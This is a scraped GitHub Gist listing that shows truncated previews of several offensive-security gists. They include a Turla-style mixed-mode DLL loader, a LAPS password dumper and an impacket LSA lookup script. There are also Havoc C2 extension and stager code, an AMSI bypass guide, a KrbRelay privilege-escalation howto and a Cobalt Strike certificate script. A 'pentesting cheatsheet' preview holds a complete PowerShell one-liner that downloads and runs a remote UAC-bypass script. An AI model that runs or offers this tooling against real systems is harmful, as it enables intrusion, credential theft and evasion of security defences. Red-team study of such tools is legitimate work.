Skip to content

Instantly share code, notes, and snippets.

@TheEnergyStory
TheEnergyStory / CustomMixedModeDLL.cpp
Created November 10, 2026 17:20
Turla CerealLoader-Style Custom Mixed-Mode DLL POC
/**
* This POC replicates the custom mixed-mode technique utilized by Turla’s CerealLoader.
* Reference: https://www.welivesecurity.com/en/eset-research/exchange-for-breakfast-turlas-cereal-tricks-are-not-for-kids/
*
* While classic mixed-mode binaries rely on standard CRT defaults and standard compiler
* initialization, this code splits functionality explicitly between managed and unmanaged
* domains using "#pragma managed" and "#pragma unmanaged" pragmas within the same source.
*
* Key Mechanics & PE-Level Behavior:
* 1. Loader Lock Avoidance: Bypasses standard "_CorDllMain" PE initialization
@ThePirateWhoSmellsOfSunflowers
ThePirateWhoSmellsOfSunflowers / lsarlookupsids3_aes.py
Created February 6, 2025 22:16
Perform a lsarlookupsids3 with a trust account, it uses netlogon as SSP (see [MS-NRPC] 3.3) (AES version)
from impacket.dcerpc.v5 import epm, lsad, rpcrt, transport, lsat, ndr, nrpc
from impacket.uuid import bin_to_uuidtup
from binascii import unhexlify
from random import randbytes
import sys
# Perform a lsarlookupsids3 with a trust account, it uses netlogon as SSP (see [MS-NRPC] 3.3)
# Pure TCP RPC is used (ncacn_ip_tcp option)
# AES is used, so you need impacket #1848 (https://github.com/fortra/impacket/pull/1848)
# Tested with impacket 0.12.0 on GOAD
@jgoosey
jgoosey / laps.py
Last active April 12, 2024 15:06 — forked from jstnkndy/laps.py
Modified version of https://github.com/n00py/LAPSDumper and https://gist.github.com/jstnkndy/51fc44d95e4f8f5efb1b76a9d6cf920a to allow cross domain targeting + expiration time
#!/usr/bin/env python3
from ldap3 import ALL, Server, Connection, NTLM, extend, SUBTREE
from datetime import datetime
import argparse
parser = argparse.ArgumentParser(description='Dump LAPS Passwords')
parser.add_argument('-u','--username', help='username for LDAP', required=True)
parser.add_argument('-p','--password', help='password for LDAP (or LM:NT hash)',required=True)
parser.add_argument('-l','--ldapserver', help='LDAP server (or domain)', required=False)
parser.add_argument('-d','--domain', help='Domain', required=True)
@moscowchill
moscowchill / pentesting_cheatsheet.ps1
Last active April 13, 2026 16:19
Intern Pentesting notes
[+] Collection of PowerShell and CMD one-liners for red teamers and penetration testers to use at various stages of testing.
# ========================================
# POWERSHELL LOADERS (Run from CMD)
# ========================================
#Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"
#Invoke-Mimikatz: Dump credentials from memory
@p4p1
p4p1 / auto_suite.py
Last active May 10, 2025 08:51
🔎🔎🔎🔎
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Made by papi
# Created on: Di 10 Okt 2023 01:54:42 CEST
# auto_suite.py
# Description:
# A havoc extention to search for files inside of infected agents
# Usage:
# To use this script save it on your machine and add it to the script manager of Havoc
# inside of: Scripts > Scripts Manager > Load Script
@p4p1
p4p1 / stager.c
Created August 2, 2023 16:33
💊💊💊💊
/*
** p4p1: http://p4p1.github.io/
** Created on: Wed 02 Aug 2023 01:37:50 PM CEST
** stager.c
** Description:
** A C stager for havoc.
** Commands for things:
** ./Shhhloader.py -p explorer.exe -ns -sc SysWhispers3 -m QueueUserAPC ../demon.x64.bin
** ./Shhhloader.py -v -p explorer.exe -ns -sc SysWhispers3 -m QueueUserAPC ../demon.x64.bin
** x86_64-w64-mingw32-gcc net_stager.c -o hidden2.exe -lws2_32
@D3Ext
D3Ext / amsi-bypass.md
Last active June 25, 2025 02:06
All methods to bypass AMSI (2022)

AMSI Bypass

To perform all this techniques you can simply try them by typing "Invoke-Mimikatz" into your powershell terminal, you'll notice that even if you haven't imported Mimikatz it will detect that as malicious. But if the AMSI is off or you avoid it, it just will say that "it's not recognized as the name of a cmdlet", so you could say that you've bypassed the AMSI

However some methods may be detected by the AV but most of them actually work without problem

Powershell downgrade

The first and worst way to bypass AMSI is downgrading powershell version to 2.0.

@tothi
tothi / krbrelay_privesc_howto.md
Last active August 19, 2026 08:47
Privilege Escalation using KrbRelay and RBCD

KrbRelay with RBCD Privilege Escalation HOWTO

Short HOWTO about one use case of the work from Cube0x0 (KrbRelay) and others.

TL;DR

No-Fix Local Privilege Escalation from low-priviliged domain user to local system on domain-joined computers.

Prerequisites:

  • LDAP signing not required on Domain Controller (default!)
@EvanMcBroom
EvanMcBroom / encrypting-strings-at-compile-time.md
Last active September 11, 2026 21:21
Encrypting Strings at Compile Time

Encrypting Strings at Compile Time

Thank you to SpecterOps for supporting this research and to Duane and Matt for proofreading and editing! Crossposted on the SpecterOps Blog.

TLDR: You may use this header file for reliable compile time string encryption without needing any additional dependencies.

Programmers of DRM software, security products, or other sensitive code bases are commonly required to minimize the amount of human readable strings in binary output files. The goal of the minimization is to hinder others from reverse engineering their proprietary technology.

Common approaches that are taken to meet this requirement often add an additional maintenance burden to the developer and are prone to error. These approaches will be presented along with t

@TechByTom
TechByTom / getCerts
Created December 10, 2020 22:05
Cobalt Strike Cobalt Strike certificate grabber
#!/bin/bash
if [ $# -eq 0 ]
then
echo "Usage: getCSCert.sh yourdomainhere.com"
exit 1
fi
MyDomain="`echo "$1" | tr '[:upper:]' '[:lower:]'`"
sudo service nginx stop
read -p "Add this server to your public port 80 security group, then press any key to continue..."
sudo certbot certonly --standalone --preferred-challenges http -d $MyDomain